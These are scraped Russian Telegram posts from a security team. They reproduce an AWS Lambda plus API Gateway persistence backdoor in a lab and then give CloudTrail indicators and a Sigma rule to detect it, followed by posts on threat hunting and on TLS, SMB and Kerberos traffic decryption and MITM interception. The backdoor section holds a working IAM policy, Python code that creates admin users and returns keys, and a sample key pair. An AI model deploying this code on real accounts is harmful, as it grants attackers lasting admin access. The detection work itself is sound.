☁️ AWS-бэкдор как услуга: закрепление в облаке через Lambda
Ландшафт облачных угроз постоянно эволюционирует, и атакующие все чаще используют легитимные сервисы для своих целей. Наше внимание привлекла техника закрепления в AWS, известная как persistence as a service и использующая связку AWS Lambda и API Gateway. Решили в своей тестовой лаборатории AWS в точности воспроизвести эту атаку, чтобы изучить ее цифровой след и понять, как ее можно эффективно обнаружить.
🎯 Суть атаки
Злоумышленник, получив первоначальный доступ к аккаунту, создает механизм, который позволяет ему возвращаться в систему даже после того, как его украденные учетные данные будут заблокированы.
Как это работает:
1. Создается Lambda-функция, способная программно создавать новых IAM-пользователей с правами администратора.
2. С помощью Amazon API Gateway создается публичный HTTP-URL-адрес, для доступа к которому не требуется аутентификация.
3. API Gateway настраивается так, что любой запрос на этот URL автоматически запускает созданную Lambda-функцию.
В результате у атакующего появляется «бэкдор как услуга». Ему больше не нужны украденные ключи, достаточно просто перейти по ссылке, чтобы мгновенно получить новые учетные данные администратора.
⚙️ Воссоздание атаки
В тестовой среде атака состояла из трех основных этапов: подготовка прав, создание вредоносного кода и открытие доступа извне.
1️⃣ Создание роли для Lambda-функции
Сначала создали политику (назвали ее
Далее создали IAM-роль, которая даст будущей функции права на создание пользователей и управление правами:
•
•
• Прикрепляем ранее созданную политику
• Название роли:
2️⃣ Создание Lambda-функции
Затем создаем саму Lambda-функцию на Python, которая:
• генерирует уникальное имя пользователя на основе текущей даты и времени;
• создает этого пользователя;
• прикрепляет к нему политику AdministratorAccess;
• генерирует для него ключи доступа Access Keys;
• возвращает эти ключи в виде JSON-ответа.
Это позволяет атакующему при каждом вызове получать свежие уникальные учетные данные. Вот параметры тестового скрипта:
•
•
•
⬇️ Следующие шаги в посте ниже.
#detect #tip #reverse
@ptescalator
Ландшафт облачных угроз постоянно эволюционирует, и атакующие все чаще используют легитимные сервисы для своих целей. Наше внимание привлекла техника закрепления в AWS, известная как persistence as a service и использующая связку AWS Lambda и API Gateway. Решили в своей тестовой лаборатории AWS в точности воспроизвести эту атаку, чтобы изучить ее цифровой след и понять, как ее можно эффективно обнаружить.
🎯 Суть атаки
Злоумышленник, получив первоначальный доступ к аккаунту, создает механизм, который позволяет ему возвращаться в систему даже после того, как его украденные учетные данные будут заблокированы.
Как это работает:
1. Создается Lambda-функция, способная программно создавать новых IAM-пользователей с правами администратора.
2. С помощью Amazon API Gateway создается публичный HTTP-URL-адрес, для доступа к которому не требуется аутентификация.
3. API Gateway настраивается так, что любой запрос на этот URL автоматически запускает созданную Lambda-функцию.
В результате у атакующего появляется «бэкдор как услуга». Ему больше не нужны украденные ключи, достаточно просто перейти по ссылке, чтобы мгновенно получить новые учетные данные администратора.
⚙️ Воссоздание атаки
В тестовой среде атака состояла из трех основных этапов: подготовка прав, создание вредоносного кода и открытие доступа извне.
1️⃣ Создание роли для Lambda-функции
Сначала создали политику (назвали ее
LambdaCreateUserPolicy), которая дает права на создание пользователя, создание ключей доступа и прикрепление политики администратора (чтобы наш бэкдор-пользователь был всемогущим).{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:CreateUser",
"iam:CreateAccessKey",
"iam:AttachUserPolicy"
],
"Resource": "*"
}
]
}
Далее создали IAM-роль, которая даст будущей функции права на создание пользователей и управление правами:
•
Trusted entity type: AWS service•
Use case: Lambda• Прикрепляем ранее созданную политику
LambdaCreateUserPolicy• Название роли:
lambda-backdoor-role2️⃣ Создание Lambda-функции
Затем создаем саму Lambda-функцию на Python, которая:
• генерирует уникальное имя пользователя на основе текущей даты и времени;
• создает этого пользователя;
• прикрепляет к нему политику AdministratorAccess;
• генерирует для него ключи доступа Access Keys;
• возвращает эти ключи в виде JSON-ответа.
Это позволяет атакующему при каждом вызове получать свежие уникальные учетные данные. Вот параметры тестового скрипта:
•
Function name, в нашем случае create-backdoor-user-poc•
Runtime: Python 3.12•
Execution role: указали на ранее созданную роль lambda-backdoor-roleimport json
import boto3
from datetime import datetime, timezone
def lambda_handler(event, context):
iam = boto3.client('iam')
timestamp = datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')
username = f'backdoor-user-{timestamp}'
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
iam.create_user(UserName=username)
iam.attach_user_policy(UserName=username, PolicyArn=policy_arn)
response = iam.create_access_key(UserName=username)
credentials = {
"AccessKeyId": response['AccessKey']['AccessKeyId'],
"SecretAccessKey": response['AccessKey']['SecretAccessKey'],
"UserName": username
}
return {
'statusCode': 200,
'body': json.dumps(credentials, indent=2)
}
except Exception as e:
return {
'statusCode': 500,
'body': json.dumps(str(e))
}
⬇️ Следующие шаги в посте ниже.
#detect #tip #reverse
@ptescalator
🔥15👍5👏4❤2😁1
Продолжаем воспроизводить атаку из поста выше 🔼
3️⃣ Создаем публичный триггер API Gateway (скриншот 1)
В конце надо выставить функцию в интернет. Добавили к Lambda-функции триггер типа API Gateway, указав в настройках
Примечание: так как холодный старт и три API-вызова могут занимать заметное время, мы увеличили тайм-аут Lambda-функции со стандартных 3 до 15 секунд.
4️⃣ Исполнение атаки
Теперь достаточно просто перейти по URL, сгенерированному API Gateway. В ответ браузер получает JSON со свежими учетными данными нового администратора (скриншот 2):
При проверке результата в AWS видим только что созданного пользователя с прикрепленной политикой
👣 Цифровой след
Анализ логов AWS CloudTrail показал, что для надежного детектирования нужно отслеживать всю цепочку событий.
1️⃣ Событие CreateRole (создание роли для Lambda)
На первом этапе в логах появляется событие создания IAM-роли с говорящим названием lambda-backdoor-role, предназначенной для сервиса Lambda. Само по себе это действие не вредоносное, но именно с него начинается цепочка.
•
•
•
2️⃣ Событие CreateFunction (создание Lambda-функции)
Далее мы видим, что к новой функции create-backdoor-user-poc привязывается та самая роль, которую создали на первом шаге (requestParameters.role).
•
•
•
3️⃣ Событие CreateApi (создание триггера API Gateway)
Здесь создается публичный API. Ключевым индикатором в логе является поле userIdentity.invokedBy со значением AWS Internal и requestParameters.denoscription, равное Created by AWS Lambda. Это говорит о том, что API был создан автоматически через интерфейс Lambda, что характерно для этой атаки.
4️⃣ Событие CreateUser (создание бэкдор-пользователя)
В логе мы видим событие создания нового пользователя, но в поле
•
•
•
•
• В самом низу объекта userIdentity есть специальный блок
• Еще одним очень сильным индикатором является userAgent: наличие подстроки
Если пост соберет три лайка, то в следующем поделимся идеей для правила корреляции в SIEM 😉
#detect #tip #reverse
@ptescalator
3️⃣ Создаем публичный триггер API Gateway (скриншот 1)
В конце надо выставить функцию в интернет. Добавили к Lambda-функции триггер типа API Gateway, указав в настройках
Security: Open. Создается публичный URL, который и стал бэкдором. Он будет выглядеть примерно так:https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc
Примечание: так как холодный старт и три API-вызова могут занимать заметное время, мы увеличили тайм-аут Lambda-функции со стандартных 3 до 15 секунд.
4️⃣ Исполнение атаки
Теперь достаточно просто перейти по URL, сгенерированному API Gateway. В ответ браузер получает JSON со свежими учетными данными нового администратора (скриншот 2):
{
"AccessKeyId": "AKIAS22MVUU75MYRNT3U",
"SecretAccessKey": "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",
"UserName": "backdoor-user-20250921-155854"
}
При проверке результата в AWS видим только что созданного пользователя с прикрепленной политикой
AdministratorAccess (скриншот 3).👣 Цифровой след
Анализ логов AWS CloudTrail показал, что для надежного детектирования нужно отслеживать всю цепочку событий.
1️⃣ Событие CreateRole (создание роли для Lambda)
На первом этапе в логах появляется событие создания IAM-роли с говорящим названием lambda-backdoor-role, предназначенной для сервиса Lambda. Само по себе это действие не вредоносное, но именно с него начинается цепочка.
•
eventName: CreateRole — само действие.•
requestParameters.roleName: lambda-backdoor-role — имя роли.•
userIdentity.userName — кто именно создал эту роль.2️⃣ Событие CreateFunction (создание Lambda-функции)
Далее мы видим, что к новой функции create-backdoor-user-poc привязывается та самая роль, которую создали на первом шаге (requestParameters.role).
•
eventName: CreateFunction20150331 — действие по созданию функции.•
requestParameters.functionName: create-backdoor-user-poc — имя функции.•
requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role — показывает, что к новой функции привязывается та самая роль, которую создали на первом шаге.3️⃣ Событие CreateApi (создание триггера API Gateway)
Здесь создается публичный API. Ключевым индикатором в логе является поле userIdentity.invokedBy со значением AWS Internal и requestParameters.denoscription, равное Created by AWS Lambda. Это говорит о том, что API был создан автоматически через интерфейс Lambda, что характерно для этой атаки.
4️⃣ Событие CreateUser (создание бэкдор-пользователя)
В логе мы видим событие создания нового пользователя, но в поле
userIdentity.sessionContext.sessionIssuer.userName указано имя нашей роли lambda-backdoor-role. Это аномалия: сервисная роль внезапно начала создавать пользователей.•
eventName: CreateUser — само действие.•
userIdentity.type: AssumedRole — указывает, что действие выполнено не напрямую пользователем, а ролью.•
userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role — пользователем-инициатором является не человек, а сервисная роль Lambda. Это аномалия.•
requestParameters.userName: backdoor-user-20250921-155854 — имя созданного пользователя.• В самом низу объекта userIdentity есть специальный блок
inScopeOf. Поле "issuerType": "AWS::Lambda::Function" — это говорит, что временные учетные данные, использованные для этого API-вызова, были выданы именно Lambda-функции.• Еще одним очень сильным индикатором является userAgent: наличие подстроки
exec-env/AWS_Lambda. Строка добавляется средой выполнения Lambda и показывает, что код, совершивший API-вызов, был исполнен именно в окружении Lambda.Если пост соберет три лайка, то в следующем поделимся идеей для правила корреляции в SIEM 😉
#detect #tip #reverse
@ptescalator
🔥28👍11👏8❤6
Идея для правила корреляции в SIEM 💡
Хотя отслеживание всей цепочки атаки, описанной в постах выше, дает полную картину, самым сильным и простым для реализации сигналом является само событие создания пользователя.
ЕСЛИ
ТО сгенерировать алерт высокого приоритета.
Учитывая, что создание пользователей Lambda-функциями является крайне редким и аномальным поведением, такое правило будет иметь очень низкий уровень ложных срабатываний.
Sigma-правило:
Этот эксперимент еще раз доказал, что мониторинг действий самих сервисов (а не только пользователей) — ключ к безопасности в облаке. А с какими еще техниками закрепления в облаке сталкивались вы?
#detect #tip #sigma #reverse
@ptescalator
Хотя отслеживание всей цепочки атаки, описанной в постах выше, дает полную картину, самым сильным и простым для реализации сигналом является само событие создания пользователя.
ЕСЛИ
eventName = CreateUser И userIdentity указывает на роль Lambda-функции (userIdentity.inScopeOf.issuerType = AWS::Lambda::Function), ТО сгенерировать алерт высокого приоритета.
Учитывая, что создание пользователей Lambda-функциями является крайне редким и аномальным поведением, такое правило будет иметь очень низкий уровень ложных срабатываний.
Sigma-правило:
noscript: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
denoscription: >-
Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function's execution role.
This is a highly anomalous behavior and a key indicator of the "Persistence-as-a-Service" technique,
where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
- https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: 'PT ESC'
date: '2025/09/20'
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName:
- CreateUser
- CreateAccessKey
- AttachUserPolicy
- UpdateLoginProfile
userIdentity.inScopeOf.issuerType: 'AWS::Lambda::Function'
condition: selection
falsepositives:
- Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high
Этот эксперимент еще раз доказал, что мониторинг действий самих сервисов (а не только пользователей) — ключ к безопасности в облаке. А с какими еще техниками закрепления в облаке сталкивались вы?
#detect #tip #sigma #reverse
@ptescalator
🔥12👍10👏6❤2
Используем IoC нестандартно. Часть 1. Threat hunting 🧐
Говоря об индикаторах компрометации, мы обычно имеем в виду реактивный подход к защите: на СЗИ появился детект на плохой IP-адрес, и мы его заблокировали. Безусловно, это важный момент, однако это борьба со следствиями.
В этом посте обсудим нереактивные сценарии использования индикаторов компрометации, а именно — как искать угрозы, которые уже случились, но которых мы не заметили, и как использовать данные индикаторов для прогнозирования будущих атак.
Представим, что злоумышленник уже проник в сеть организации и находится там какое-то время. Он мог не использовать известные нам индикаторы компрометации, что означает, что мы его пропустили. Что с этим можно сделать? Ну, например, использовать методы threat hunting. В этом случае IoC будут выступать не как детектирующие признаки, а как отправные точки для расследования.
В качестве примера рассмотрим два способа использования индикаторов компрометации для threat hunting.
➡️ Использовать IoC как основу для поиска угроз
Это самый прямой способ. Например, вы получаете свежий фид с индикаторами компрометации и видите среди них те, что связаны с интересующей вас группировкой. Для начала можно взять только эти индикаторы и поискать их упоминание в логах СЗИ.
Если ничего интересного найти не удалось, следует обратить внимание на индикаторы, связанные с теми, по которым вы искали ранее: по ним также полезно провести поиск. Ну и, наконец, можно воспользоваться не только индикаторами компрометации, но и связанными с ними (или самой хакерской группировкой) индикаторами атак. На их основе хорошо строить гипотезы и проверять их реализацию в логах СЗИ.
➡️ Использовать IoC как основу для построения профиля злоумышленника
Вместо того чтобы искать конкретный индикатор, мы можем искать «почерк» хакерской группировки. Как и в первом способе, мы можем собрать перечень индикаторов интересующей нас группировки и проанализировать их контекст. Зачастую в фидах можно найти связи индикатора с техниками MITRE ATT&CK, которые могут подсказать с какой вредоносной активностью может столкнуться специалист по ИБ.
Соответственно, получив из таких индикаторов перечень техник, мы сможем понять какие способы реализации угроз использует конкретный злоумышленник. Далее с помощью тех же фидов либо уже с помощью матрицы MITRE ATT&CK получаем процедуры для тех или иных техник, составляем гипотезы и проверяем их.
Таким образом, можно сказать, что IoC могут дать начало поиску угроз и полноценному расследованию инцидентов. При этом работа с ними позволяет запустить множество гипотез и найти то, чего вы бы не нашли, просто просматривая детекты🤔
#ioc #detect #tip
@ptescalator
Говоря об индикаторах компрометации, мы обычно имеем в виду реактивный подход к защите: на СЗИ появился детект на плохой IP-адрес, и мы его заблокировали. Безусловно, это важный момент, однако это борьба со следствиями.
В этом посте обсудим нереактивные сценарии использования индикаторов компрометации, а именно — как искать угрозы, которые уже случились, но которых мы не заметили, и как использовать данные индикаторов для прогнозирования будущих атак.
Представим, что злоумышленник уже проник в сеть организации и находится там какое-то время. Он мог не использовать известные нам индикаторы компрометации, что означает, что мы его пропустили. Что с этим можно сделать? Ну, например, использовать методы threat hunting. В этом случае IoC будут выступать не как детектирующие признаки, а как отправные точки для расследования.
В качестве примера рассмотрим два способа использования индикаторов компрометации для threat hunting.
➡️ Использовать IoC как основу для поиска угроз
Это самый прямой способ. Например, вы получаете свежий фид с индикаторами компрометации и видите среди них те, что связаны с интересующей вас группировкой. Для начала можно взять только эти индикаторы и поискать их упоминание в логах СЗИ.
Если ничего интересного найти не удалось, следует обратить внимание на индикаторы, связанные с теми, по которым вы искали ранее: по ним также полезно провести поиск. Ну и, наконец, можно воспользоваться не только индикаторами компрометации, но и связанными с ними (или самой хакерской группировкой) индикаторами атак. На их основе хорошо строить гипотезы и проверять их реализацию в логах СЗИ.
Пример гипотезы: «Некая группа использует троян, исполняемый файл которого часто маскируется под легитимные системные процессы. Давайте поищем в нашей сети процессы с именами, похожими на dllhost.exe, svchost.exe, но запущенные из временных папок пользователей (%TEMP%,%APPDATA%), и проверим их хеши и сетевую активность».
➡️ Использовать IoC как основу для построения профиля злоумышленника
Вместо того чтобы искать конкретный индикатор, мы можем искать «почерк» хакерской группировки. Как и в первом способе, мы можем собрать перечень индикаторов интересующей нас группировки и проанализировать их контекст. Зачастую в фидах можно найти связи индикатора с техниками MITRE ATT&CK, которые могут подсказать с какой вредоносной активностью может столкнуться специалист по ИБ.
Соответственно, получив из таких индикаторов перечень техник, мы сможем понять какие способы реализации угроз использует конкретный злоумышленник. Далее с помощью тех же фидов либо уже с помощью матрицы MITRE ATT&CK получаем процедуры для тех или иных техник, составляем гипотезы и проверяем их.
Пример гипотезы:
«Собрав текущий набор индикаторов компрометации, связанных с некой группировкой, обнаружили, что для перемещения по сети она злоупотребляет утилитой Windows Management Instrumentation (WMI). Проанализируем логи на предмет аномального использования WMI-провайдеров, особенно в нерабочее время или с непривилегированных учетных записей».
Таким образом, можно сказать, что IoC могут дать начало поиску угроз и полноценному расследованию инцидентов. При этом работа с ними позволяет запустить множество гипотез и найти то, чего вы бы не нашли, просто просматривая детекты
#ioc #detect #tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15❤12👍10🥴4🆒1
Мы тут готовим годовую аналитику по инцидентам. По вашему опыту, что чаще всего используют хакеры для Command and Control? 🤔
Anonymous Poll
14%
Metasploit 🛡
2%
Revsocks 😏
10%
Ngrok 🔡
6%
PuTTY 😎
13%
gsocket 👨💻
8%
Sliver 🙃
12%
OpenSSH 🐡
2%
LocalToNet 💻
26%
Cobalt Strike 🔫
7%
Chisel 😎
🤓13👀7👍6✍5
Нашим сетевым экспертам часто бывает нужно расшифровывать трафик TLS-соединений и проанализировать защищенное содержимое. Современные алгоритмы TLS уже очень давно используют схему Ephemeral Diffie–Hellman (EDH), которая не позволяет расшифровывать TLS-сессии закрытым ключом RSA.
Теперь для расшифровки необходимо собирать так называемые сессионные ключи (session keys) средствами самого TLS-клиента или сервера. И за много лет мы собрали несколько лайфхаков, которые работают для большинства анализируемых приложений. Поехали!
1️⃣ Браузеры и консольные утилиты
Для расшифровки браузерных TLS-сессий или консольных утилит, например curl, необходимо установить переменную окружения SSLKEYLOG. Это делается при помощи команды
export SSLKEYLOGFILE=/path/to/keylog.log для Linux-систем или через переменные среды (скриншоты 1 и 2) в системах Windows. Теперь браузеры и утилиты будут сохранять сессионные ключи в указанном файле.2️⃣ Приложения на Go
Настройка дампа ключей в подобных приложениях потребует небольшого патча. Необходимо либо добавить эти строки в код самого приложения (пример).
w, err := os.OpenFile("/path/to/SSLKEYLOGFILE", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
config := &tls.Config{KeyLogWriter: w}
Либо, если в файле явно не определяется tls config, но в самой программе или в библиотеке используется стандартная библиотека crypto/go, можно задать sslkeylog-файл прямо в ней. Мы привели пример diff-файла (common_go.diff) для
go version go1.24.4 linux/amd64. После этого достаточно задать путь к keylog-файлу в переменной окружения SSLKEYLOGFILE:export SSLKEYLOGFILE=/path/to/keylog.log
3️⃣ Приложения на Python
Настройка дампа ключей также работает через установку переменной окружения SSLKEYLOGFILE:
export SSLKEYLOGFILE=/path/to/keylog.log
python main.py
4️⃣ Приложения на Node.js
Необходимо просто запустить приложение с ключом tls-keylog
node --tls-keylog=/path/to/keylog.log program.js
Либо задать переменную окружения NODE_OPTIONS и запустить программу в той же консоли:
export NODE_OPTIONS=--tls-keylog=/path/to/keylog.log
5️⃣ Xray Core
Другие проприетарные приложения могут использовать свои собственные параметры для дампа сессионных ключей. Особенно те, которые реализуют TLS-соединения по-своему. Xray — это целый фреймворк, который поддерживает множество VPN-протоколов, включая VMess, VLESS и XTLS. Благодаря разработчикам ядра Xray собрать сессионные ключи не составит труда. Нужно всего лишь добавить ключ masterKeyLog в конфигурацию исходящего (outbound) подключения.
"realitySettings": {
"serverName": "yahoo.com",
"publicKey": "publicKey",
"shortId": "shortId",
"fingerprint": "chrome",
"spiderX": "/",
"masterKeyLog": "/path/to/keylog"
}
Большинство конфигураций Xray задается при помощи URL, для добавления ключа необходимо поправить JSON-конфигурацию внутри клиента или сервера уже после добавления ключа.
Как использовать полученные session keys
Чтобы расшифровать TLS-сессию в Wireshark, необходимо открыть Edit → Preferences, затем в настройках протокола TLS выбрать файл Master-Secret log filename (скриншот 3, результат на скриншоте 4).
☠️ Ну а в следующей части мы расскажем о расшифровке зашифрованного содержимого протоколов SMB/LDAP/DCERPC с NTLM- и Kerberos-аутентификацией.
Делитесь вашими собственными лайфхаками в комментариях ⬇️
#dfir #tip #tls #network
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥44👍19👏8❤2👎1🥰1😁1🆒1
Какие, по вашему опыту, VPN-сервисы чаще всего используют хакеры? 👽
Anonymous Poll
3%
CyberGhost 👻
2%
Рутокен VPN 😏
6%
Mullvad 😎
9%
Kaspersky Secure Connection 🟢
1%
MyPrivateNetwork 🌐
20%
ProtonVPN 👨💻
4%
NordVPN ☃️
2%
PrivateInternetAccess 💻
4%
МТС VPN 🔖
49%
Посмотреть результаты 👀
👎2
В первой части мы разбирали декрипт TLS-соединений, которые часто используются в интернете. Но если переместиться внутрь корпоративной среды, там будут преобладать другие протоколы — SMB, LDAP и DCERPC, — и все они имеют функцию шифрования содержимого своих запросов.
Например, эта функция появилась в протоколе SMB версии 3, для большинства DCERPC-соединений используется уровень аутентификации Packet Privacy, а сообщения протокола LDAP шифруются при включенной подписи (LDAP Signing).
У них есть кое-что общее: ключ шифрования Session Key в конечном счете генерируется на основе пароля учетной записи пользователя или ключа учетной записи устройства. Правда, сам алгоритм дешифрования сильно отличается в зависимости от протокола (NTLM или Kerberos).
1️⃣ NTLM-аутентификация
Самый простой случай: для расшифрования нам понадобится только пароль пользователя. Чтобы указать его в Wireshark, необходимо открыть Edit → Preferences, затем в параметрах протокола NTLMSSP вписать пароль в поле NT Password. Теперь рядом с зашифрованными блоками появятся расшифрованные (скриншот 1).
2️⃣ Kerberos
Для расшифрования сессий с аутентификацией Kerberos необходим пароль либо учетной записи пользователя, либо сервисной учетной записи, поскольку оба эти пароля участвуют в формировании сессионного ключа. По сути, нам сначала необходимо расшифровать значение сессионного ключа внутри Kerberos, а затем использовать его для декрипта SMB или других протоколов. Сначала необходимо сгенерировать keytab-файл.
Генерация keytab-файла по паролю пользователя
Из Kerberos-ответа AS-REP узнаем алгоритм шифрования и значение соли по формуле
<REALM> + <cname>. В нашем случае они будут равны aes256-cts-hmac-sha1-96 и ATTDETT.STFo_walsh соответственно, причем важно обратить внимание на регистр (скр. 2).С помощью Linux-утилиты
kutils добавляем запись для нужного пользователя, используя команду addent с параметром -password. Параметры указываем как в команде ниже, причем параметр -k (Key Version Number, kvno) может быть любым числом. Сохраняем keytab при помощи команды wkt (скр. 3).ktutil: addent -password -p o_walsh@ATTDETT.STF -k 2 -e aes256-cts-hmac-sha1-96
Генерация keytab-файла по ключу сервисной УЗ
Сессионный ключ в билете TGS может быть расшифрован также при помощи ключа сервисной учетной записи. Это полезно, если мы хотим расшифровывать соединение с сервисом любых пользователей. Пароль сервисных учетных записей, как правило, совпадает с паролем учетной записи устройства — он очень сложный и генерируется автоматически каждые 30 дней.
Из TGS-ответа так же достаем алгоритм шифрования и с помощью той же утилиты
kutils добавляем запись. Разница лишь в том, что вместо пароля используем параметр -key с ключом сервисной учетной записи, получить который можно, например, с помощью скрипта secretsdump из фреймворка Impacket. Параметр -p (principal) для Wireshark неважен, можем указать любые значения -p и -k (скр. 4).ktutil: addent -key -p something@RANDOM.RND -k 666 -e aes256-cts-hmac-sha1-96
Как использовать полученный keytab-файл?
В Wireshark включаем параметр Try to decrypt Kerberos blobs:
Edit → Preferences → Protocols → KRB5 → Try to decrypt Kerberos blobs
Чтобы указать keytab-файл в Wireshark, необходимо открыть Edit → Preferences, затем в параметрах протокола KRB5 выбрать файл Kerberos keytab file. Часть полей будут отображаться нерасшифрованными — это нормально. Затем приступаем к дешифровке SMB3.
SMB3
Нам понадобится тот самый сессионный ключ. Найти его можно в поле keyvalue в пакетах TGS-REP или AP-REQ. Затем берем один из интересующих нас пакетов SMB3 и копируем из хедера Session ID (как на скр. 5, 6).
Указываем сессионный ключ и Session ID в поле Secret session key в Wireshark в параметрах протокола SMB2:
Edit → Preferences → Protocols → SMB2 → Secret session key for decryption
Бинго! Получаем расшифрованный SMB3 (скр. 7). Тот же самый алгоритм работает и для дешифрования других протоколов (DCERPC, LDAP и т. д.).
#dfir #tip #network
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19❤8👍8💯2🙈1
По какой теме вы больше всего НЕ ожидаете от нас пост? 🤭
Anonymous Poll
22%
Атаки с использованием Impacket 🐍
11%
Подмена wtmp для сокрытия следов 🐾
10%
Mimic и манипуляции с Image File Execution Options 👨🎨
26%
Доступ к секретам Kubernetes через API 🤫
31%
Попытки побега из контейнеров с помощью cgroups 🏃♂️
😁17🤣15❤6🤔4🔥2🦄2👍1
MITM-атака — достаточно популярный функционал различных песочниц и систем анализа приложений. Обычно инструменты, которые позволяют осуществлять MITM-атаки, представляют из себя прокси-сервер, который позволяет гибко обрабатывать входящий в него трафик и перехватывать SSL/TLS-сессии, извлекать мастер-ключи и многое другое. В таком случае нам требуется указать этот прокси-сервер в приложении или сервисе, на который планируется MITM-атака. В зависимости от гибкости инструмента, в нем также может быть встроен режим прозрачного проксирования (transparent proxy), который в отличие от классического прокси обычно требует, чтобы трафик был перенаправлен сетевыми правилами (например, с помощью iptables) в конкретную машину.
👀 Рассмотрим sslsplit — инструмент с открытым исходным кодом, который позволяет расшифровывать SSL/TLS-соединения прозрачно.
Сконфигурируем шлюз на базе Debian на примере скрипта make_gateway.sh.
Предварительно сгенерируем сертификаты для последующей работы прозрачного прокси.
openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 365 -key ca.key -out ca.crt
Запустим sslsplit с указанными параметрами.
sslsplit -M keys.log -D -l connections.log -j sslsplit/ -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
С другой машины сделаем запрос, при этом не указывая никакие параметры прокси, так как тут прокси у нас прозрачен и трафик перенаправляется в шлюз с клиентской машины, а дальше SSL/TLS с порта 443 перенаправляется в запущенный прозрачный прокси в порт 8443, при этом на клиенте нет никаких правил перенаправления трафика.
curl --cacert ca.crt --tlsv1.3 https://www.ptsecurity.com/
Лог инструмента выводит информацию о том, что запрос прошел через прокси, хотя мы не указывали его напрямую (скриншот 1). В директории logdir, которую мы указали в инструменте, появляется файл, который содержит в себе расшифрованный поток (скриншот 2). При этом в файл keys.log записываются мастер-ключи SSL/TLS, и в дальнейшем эти ключи можно использовать, например, в Wireshark, если предварительно захватим весь трафик, который нужно расшифровать. Об этом мы рассказывали в первой части постов про Wireshark. Стоит отметить недочет данного инструмента — SSLKEYLOGFILE для сессий TLSv1.3 формируется некорректно, как следствие при открытии PCAP-файла в Wireshark не будет доступа к расшифрованным данным.
Но что, если мы хотим сформировать PCAP-файл с расшифрованными данными?
🐻 PolarProxy — в отличие от указанного выше инструмента, PolarProxy позволяет сформировать PCAP-файл с расшифрованными данными, но его главный недостаток: он проприетарный.
Запустим SOCKS в PolarProxy и укажем запись напрямую в PCAP-файл.
При этом PolarProxy имеет встроенный веб-хост сертификата, запустим его на порту 10080.
sudo ./PolarProxy -v --certhttp 10080 --socks 1080 -w polarproxy.pcap
Загрузим сертификат
wget http://127.0.0.1:10080/polarproxy.crt
Сформируем запрос через запущенный прокси.
Предварительно укажем сертификат в опции
--cacert.curl --cacert polarproxy.crt --proxy socks5://127.0.0.1:1080 https://ptsecurity.com/
После завершения работы PolarProxy получаем записанный PCAP-файл polarproxy.pcap. В нем данный расшифрованный запрос можем посмотреть через Wireshark (скриншот 3). В отличие от предыдущих описанных инструментов, здесь формируется расшифрованный PCAP-файл в чистом виде, поэтому данный файл можно парсить с помощью Zeek, Suricata и других DPI.
У инструмента есть возможность применения опции прозрачного прокси, например:
sudo ./PolarProxy -v -p 0.0.0.0,10443,80,443 -w polarproxy.pcap
Тогда PolarProxy будет запущен прозрачно на порту 10443 и будет обрабатывать трафик с клиентской машины от портов 80, 443 на всех интерфейсах.
Продолжение в посте ниже 👇
#dfir #tip #mitm #ssl #tls
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍5❤4💯4